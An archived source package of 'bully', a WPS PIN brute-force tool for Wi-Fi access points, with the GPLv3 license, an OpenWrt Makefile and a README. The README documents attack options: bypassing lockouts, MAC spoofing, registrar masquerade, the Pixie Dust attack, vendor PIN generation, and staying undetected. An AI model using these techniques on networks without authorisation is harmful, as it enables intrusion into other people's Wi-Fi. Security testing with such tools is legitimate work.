pax_global_header00006660000000000000000000000064136153046360014521gustar00rootroot0000000000000052 comment=9f7272e9019dbadad4340f418e720569db269130 bully-1.4-00/000077500000000000000000000000001361530463600127315ustar00rootroot00000000000000bully-1.4-00/LICENSE.md000077500000000000000000001045051361530463600143450ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {one line to give the program's name and a brief idea of what it does.} Copyright (C) {year} {name of author} This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: {project} Copyright (C) {year} {fullname} This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . bully-1.4-00/Makefile000077500000000000000000000012251361530463600143740ustar00rootroot00000000000000include $(TOPDIR)/rules.mk include version.mk include $(INCLUDE_DIR)/package.mk define Package/bully SECTION:=net CATEGORY:=Network SUBMENU:=wireless TITLE:=Brute force attack against WPS, that actually works DEPENDS:=+libpcap endef define Package/bully/description Brute force attack against WPS, that actually works endef define Build/Prepare mkdir -p $(PKG_BUILD_DIR) $(CP) -rf ./src $(PKG_BUILD_DIR)/ endef CONFIGURE_PATH:=src MAKE_PATH:=src TARGET_CFLAGS+=$(TARGET_CPPFLAGS) define Package/bully/install $(INSTALL_DIR) $(1)/usr/bin $(INSTALL_BIN) $(PKG_BUILD_DIR)/src/bully $(1)/usr/bin/ endef $(eval $(call BuildPackage,bully)) bully-1.4-00/README.md000077500000000000000000000312001361530463600142070ustar00rootroot00000000000000 # OVERVIEW Bully is a new implementation of the WPS brute force attack, written in C. It is conceptually identical to other programs, in that it exploits the (now well known) design flaw in the WPS specification. It has several advantages over the original reaver code. These include fewer dependencies, improved memory and cpu performance, correct handling of endianness, and a more robust set of options. It runs on Linux, and was specifically developed to run on embedded Linux systems (OpenWrt, etc) regardless of architecture. Bully provides several improvements in the detection and handling of anomalous scenarios. It has been tested against access points from numerous vendors, and with differing configurations, with much success. # DEPENDENCIES Bully requires 'libpcap-dev'. It uses WPS functionality written by Jouni Malinen; that source code is included in this repro for simplicity, as are libcrypto and several other sources that provide needed functionality. Because Bully stores randomized pins and session data in normal files, there is no need for any database functionality. # INSTALLATION Bully can be built and installed by running: ~/bully$ cd src ~/bully/src$ make ~/bully/src$ make install # OPENWRT BUILDS A Makefile tested in Kamikaze r18801 (2.6.26) is provided in the repository root directory. Porting to Backfire or another OpenWrt variant should be fairly straightforward. Assuming you have ~/kamikaze as your openwrt directory and ~/bully for bully, the following steps should get you up and running: cd ~/kamikaze mkdir package/bully cp -rf ~/bully/* ~/kamikaze/package/bully make menuconfig Navigate to Network-->wireless and select bully (module or built-in), exit and save. If you elected to build as a package, type make package/bully/{clean,compile} V=99 scp bin/packages//bully_1.1-1_.ipk root@/tmp ssh root@ enter router password, opkg install /tmp/bully*ipk If you chose to build bully into your firmware, make and install it as you normally would. # USAGE Ensure that you are root, and are using wireless hardware that is capable of injection with a monitor mode interface.

usage: bully \ interface
Required arguments:
  interface      : Wireless interface in monitor mode (root required)
  -b, --bssid macaddr    : MAC address of the target access point
Or
  -e, --essid string     : Extended SSID for the access point
Optional arguments:
  -c, --channel N[,N...] : Channel number of AP, or list to hop [b/g]
  -i, --index N          : Starting pin index (7 or 8 digits)  [Auto]
  -l, --lockwait N       : Seconds to wait if the AP locks WPS   [43]
  -o, --outfile file     : Output file for messages          [stdout]
  -p, --pin N            : Starting pin number (7 or 8 digits) [Auto]
  -s, --source macaddr   : Source (hardware) MAC address      [Probe]
  -u, --lua              : Lua script file
  -v, --verbosity N      : Verbosity level 1-3, 1 is quietest     [3]
  -w, --workdir path     : Location of pin/session files  [~/.bully/]
  -5, --5ghz             : Hop on 5GHz a/n default channel list  [No]
  -B, --bruteforce       : Bruteforce the WPS pin checksum digit [No]
  -F, --force            : Force continue in spite of warnings   [No]
  -S, --sequential       : Sequential pins (do not randomize)    [No]
  -T, --test             : Test mode (do not inject any packets) [No]
Advanced arguments:
  -d, --pixiewps         : Attempt to use pixiewps               [No]
  -g, --genpin N         : Pin Generator [1] D-Link [2] Belkin    [0]
  -a, --acktime N        : Deprecated/ignored                  [Auto]
  -r, --retries N        : Resend packets N times when not acked  [2]
  -m, --m13time N        : Deprecated/ignored                  [Auto]
  -t, --timeout N        : Deprecated/ignored                  [Auto]
  -1, --pin1delay M[,N]  : Delay M seconds every Nth nack at M5 [0,1]
  -2, --pin2delay M[,N]  : Delay M seconds every Nth nack at M7 [5,1]
  -A, --noacks           : Disable ACK check for sent packets    [No]
  -C, --nocheck          : Skip CRC/FCS validation (performance) [No]
  -D, --detectlock       : Detect WPS lockouts unreported by AP  [No]
  -E, --eapfail          : EAP Failure terminate every exchange  [No]
  -L, --lockignore       : Ignore WPS locks reported by the AP   [No]
  -M, --m57nack          : M5/M7 timeouts treated as WSC_NACK's  [No]
  -N, --nofcs            : Packets don't contain the FCS field [Auto]
  -P, --probe            : Use probe request for nonbeaconing AP [No]
  -Q, --wpsinfo          : Use probe request to gather WPS info  [No]
  -R, --radiotap         : Assume radiotap headers are present [Auto]
  -W, --windows7         : Masquerade as a Windows 7 registrar   [No]
  -Z, --suppress         : Suppress packet throttling algorithm  [No]
  -V, --version          : Print version info and exit
  -h, --help             : Display this help information
# DESCRIPTION OF ARGUMENTS -c, --channel N[,N...] Channel number, or comma separated list of channels to hop on. Some AP's will switch channels periodically. This option allows bully to reacquire an AP and continue an attack without intervention. Note that using channel hopping will typically slow an attack, especially when the AP's signal is weak, because time is spent scanning channels instead of testing pins. If no channel is provided, bully will hop on all channels. -i, --index N This is the index of the starting pin number in the randomized pin file. This option is not valid when running bully in sequential pin search mode. This is typically handled for you automatically, i.e. an interrupted session will resume after the last pin that was successfully tested. Note that when less than 7 digits (8 digits if -B is active) are given, zeroes are padded on the left. -l, --lockwait N Number of seconds to wait when an AP locks WPS. Most AP's will lock out for 5 minutes, so the default value is 43 seconds. This will cause bully to sleep 7 times during a lockout period for a total of 301 seconds. -o, --output file By default, messages are printed to the standard output. Use this option to send output to the specified file instead. -p, --pin N This is the starting pin number. Use of this option results in a sequential pin search starting at the given pin. This is typically handled for you automatically, i.e. an interrupted session will resume after the last pin that was successfully tested. Note that when less than 7 digits (8 digits if -B is active) are given, zeroes are padded on the left. -s, --source macaddr The source MAC address to embed in packets sent to the AP. Not all wireless cards can be used to spoof the source MAC address like this, but the option is provided for chipsets that allow it. When not provided, the wireless interface is probed to retrieve the MAC. -v, --verbosity N Verbosity level. 1 is the quietest, displaying only unrecoverable error information. Level 3 displays the most information, and is best used to determine exactly what is happening during a session. -w, --workdir path Working directory, where randomized pins and session files are stored. Session files are created in this directory based on the BSSID of the access point. Only one set of randomized pins is created, and is used for all sessions. If you want to regenerate the pin file, simply delete it from this directory; however incomplete runs that used the deleted file will not be restartable. The default directory is ~/.bully/ -5, --5ghz Use 5 GHz (a/n) channels instead of 2.54 GHz (b/g) channels. Untested. -B, --bruteforce Bruteforce the WPS pin checksum digit rather than calculating it according to the WPS specification. Some AP's use a non-compliant checksum in an attempt to evade attacks from compliant software. Use of this option can result in a ten-fold increase in the time it takes to discover the second portion of the pin, and should only be used when necessary. -F, --force In certain scenarios bully will print a warning message and exit. This typically indicates that it is being used in a manner that is questionable for most users. Advanced users and developers can force continuance with this option. -S, --sequential By default, pins are randomized. This options allows pins to be tested sequentially. -T, --test Test mode. No packets are injected. Can be used to validate arguments, determine if an access point is visible and has WPS enabled, generate a randomized pin file, or create a session file for the access point. -d, --pixiewps The -d option performs an offline attack, Pixie Dust (pixiewps), by automatically passing the PKE, PKR, E-Hash1, E-Hash2, E-Nonce and Authkey. pixiewps will then try to attack Ralink, Broadcom and Realtek chipsets. -g, --genpin N This is a pin generator for either [1] D-Link or [2] Belkin routers which uses a known vulnerability names "pingen attack". -a, --acktime N Deprecated. Packet timings are throttled automatically. Will be removed in future revision. -r, --retries N How many times do we resend packets when they aren't acknowledged? Default is 3. The idea is to make a best effort to ensure the AP receives every packet we send, rather than have transactions fail and restart due to a missed packet. -m, --m13time N Deprecated. Packet timings are throttled automatically. Will be removed in future revision. -t, --timeout N Deprecated. Packet timings are throttled automatically. Will be removed in future revision. -1, --pin1delay M[,N] Delay M seconds for every Nth NACK at M5. The default is 0,1 (no delay). Some access points get overwhelmed by too many successive WPS transactions, and can even crash if we don't dial things back a bit. This is the delay period to use during the first half of the pin. -2, --pin2delay M[,N] Delay M seconds for every Nth NACK at M7. The default is 0,1 (no delay). Some access points handle transactions through M4 easily, only to fall down on too many successive M6 messages. This is the delay period to use during the second half of the pin. -A, --noacks Turn off acknowledgement processing for all sent packets. Useful if you are sure the AP is receiving packets even though bully can't see acknowledgements. You might need this for a USB wifi adapter that processes acknowledgements and drops them before libpcap ever sees them. -C, --nocheck Turn off frame check sequence processing. We can improve performance somewhat by making the dubious assumption that all packets we receive are valid. See also --nofcs below. -D, --detectlock Certain access points do not indicate that they have locked WPS in their beacon IE tags, but summarily ignore all WPS transactions for a period of time. With this option, we can detect the condition and sleep for --lockdelay seconds before resuming. In the interests of remaining undetected, there is no point in broadcasting 5 minutes worth of unanswered EAP START messages. -E, --eapfail Send EAP FAIL messages after each transaction. Some AP's get confused when they don't see this. -L, --lockignore Ignore WPS lock conditions reported in beacon information elements (don't sleep). -M, --m57nack Treat M5 and M7 timeouts as NACK's, for those access points that don't send them but instead drop the transaction. When using this option you will probably want to increase the --timeout value, so that bully doesn't incorrectly assume a pin is incorrect due to a delayed message. -N, --nofcs Some wireless hardware will have done the work of checking and stripping the FCS from packets already. Bully usually detects this and adjusts accordingly, but the option is here if you need to force it. -P, --probe Bully uses beacons to examine the WPS state of an access point. For nonbeaconing AP's, send directed probe requests and use the resulting probe responses instead. Requires --essid. -Q, --wpsinfo Gather WPS info by using probe request(s) against a target. May reveal chipset manufacturer, WPS version and other geeky stats. -R, --radiotap Assume radiotap headers are present in received packets. This is useful in cases where presence of radiotap headers is incorrectly reported or detected. -Z, --suppress Suppress automatic timimg algorithm and instead use default timings for received packets. NOT RECOMMENDED. -W, --windows7 Masquerade as a Windows 7 registrar. -V, --version Print version information to standard output and exit. -h, --help Display onscreen help. 